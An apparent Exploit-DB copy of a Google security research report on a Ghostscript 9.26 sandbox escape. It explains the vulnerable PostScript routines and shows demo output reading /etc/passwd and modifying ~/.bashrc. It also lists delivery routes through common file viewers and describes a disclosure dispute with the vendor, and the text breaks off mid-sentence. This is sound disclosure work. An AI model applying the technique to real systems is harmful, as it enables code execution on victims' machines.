Exploit-DB #46242
Description: Ghostscript 9.26 - Pseudo-Operator Remote Code Execution
Type: remote
Platform: linux
Date: 2019-01-24
Author: Google Security Research

Exploit:
I noticed ghostscript 9.26 was released, so had a quick look and spotted some errors. For background, this is how you define a subroutine in postscript:

/hello {
    (hello\n) print
} def

That's simple enough, but because a subroutine is just an executable array of commands, you need to mark it as executeonly if you're using system operators. That way, users can't peek inside and get references to operators they shouldn't be allowed to use.

/hello {
    (hello\n) print
} executeonly def

That's still not enough though, because the routine might expose the contents to error handlers, so you also need to make it a pseudo-operator with odef. PostScript error handlers don't examine any deeper than the current operator (or pseudo-operator), so won't expose any of the contents if they stop.

/hello {
    (hello\n) print
} executeonly odef

Looks good, but it gets weirder. If you don't bind the contents, then name resolution happens on execution, not when you define it. That means that someone can change the dictstack (which kind of works like variable scope in other languages) so that commands and operators do something different than when you defined the subroutine.

Like this:

GS>/hello {
    (hello\n) print
} executeonly odef
GS><< /print { (goodbye) == pop } >> begin          
GS>hello
(goodbye)

This means you also need to bind the routine, and also be very aware when you're writing it of what cannot be resolved at define-time (nobody ever said writing postscript was easy, lol). So now we have this:

/hello {
    (hello\n) print
} bind executeonly odef

I think that's good enough for simple routines, but what if it's more complicated? The way you branch in PostScript is to create an ephemeral subroutine and pass it to the `if` or `ifelse` operators, like this:

/hello {
    time 1200 lt {
        (good morning\n) print
    } {
        (good afternoon\n) print
    } ifelse
} bind executeonly odef

Do those ephemeral routines also need to be protected? The answer is yes, they're pushed on the operand stack just like everything else, so can cause /stackoverflow or /execstackoverflow errors, and will then be exposed to error handlers.

Ghostscript didn't protect a whole bunch of these ephemeral routines, here is one example:

1123       {
1124         currentglobal pdfdict gcheck .setglobal
1125         pdfdict /.Qqwarning_issued //true .forceput
1126         .setglobal
1127         pdfformaterror
1128       } ifelse

You can see the routine itself is bound, executeonly and odef, but the ephemeral routines inside it used for conditions and loops are not protected.

These bugs are starting to get trickier to exploit, you have to make an operator fail very precisely, but I made a demo that works in 9.26. This uses the trick I described above of taking over names that couldn't be resolved at define time by pushing a new dict on the dictstack. This gives me a high degree of control over the routine.

$ gs -dSAFER -f ghostscript-926-forceput.ps 
GPL Ghostscript GIT PRERELEASE 9.27 (2018-11-20)
Copyright (C) 2018 Artifex Software, Inc.  All rights reserved.
This software comes with NO WARRANTY: see the file PUBLIC for details.
(Stage 0: PDFfile)
(Stage 1: q)
(Stage 3: oget)
(Stage 4: pdfemptycount)
(Stage 5: gput)
(Stage 6: resolvestream)
(Stage 7: pdfopdict)
(Stage 8: .pdfruncontext)
(Stage 9: pdfdict)
(Stage 10: /stackoverflow)
(   Last Parameter:){(\n   **** Error: File has unbalanced q/Q operators \(too many q's\)\n               Output may be incorrect.\n) pdfdict /.Qqwarning_issued --.knownget-- {{--pop--} {--.currentglobal-- pdfdict --scheck-- --.setglobal-- pdfdict /.Qqwarning_issued true --.forceput-- --.setglobal-- pdfformaterror} --ifelse--} {--.currentglobal-- pdfdict --scheck-- --.setglobal-- pdfdict /.Qqwarning_issued true --.forceput-- --.setglobal-- pdfformaterror} --ifelse--}
(   Extracting .forceput...)
(   Result:)--.forceput--
(Stage 11: Exploitation...)
(   Should now have complete control over ghostscript, attempting to read /etc/passwd...)
(root:x:0:0:root:/root:/bin/bash)
(All Done)
$ tail -1 ~/.bashrc 
echo pwned by postscript

This exploit should work via evince, ImageMagick, nautilus, less, gimp, gv, etc, etc. It might require some adjustment to work on older versions, because it requires precise alignment of the operand stack, but 9.26 and earlier are all affected.

p.s. I'm not regularly looking at ghostscript, this was just a random look at the new release. 

#DeprecateUntrustedPostscript

################################################################################

Project Member Comment 2 by taviso@google.com, Dec 4
I noticed someone point out on twitter that the default $LESSOPEN can invoke ImageMagick:

https://twitter.com/jensvoid/status/[PII_REDACTED]72511488

Naturally, that works with this too (just name the exploit foo.pcd)

################################################################################

Project Member Comment 3 by taviso@google.com, Dec 4
This is ghostscript bug 700317

################################################################################

Project Member Comment 5 by taviso@google.com, Dec 12
Artifex sent me a proposed patch to review, but their patch only fixed the vulnerability for /stackoverflow. I did use /stackoverflow in the testcase, but as I mentioned in the report, any error will do.

I updated the exploit to use /typecheck instead, and sent it to them with an explanation of why the patch was insufficient.

Artifex also informed me that they plan to sit on their patch for the full 90 days, and will not commit it to git or release it. I consider this a bad faith gaming of our disclosure policy, which is astonishing for an open source company.
 
Ghostscript vulnerabilities have been discovered exploited in the wild in the past (e.g. http://ghostbutt.com/), sitting on exploits with patches available for month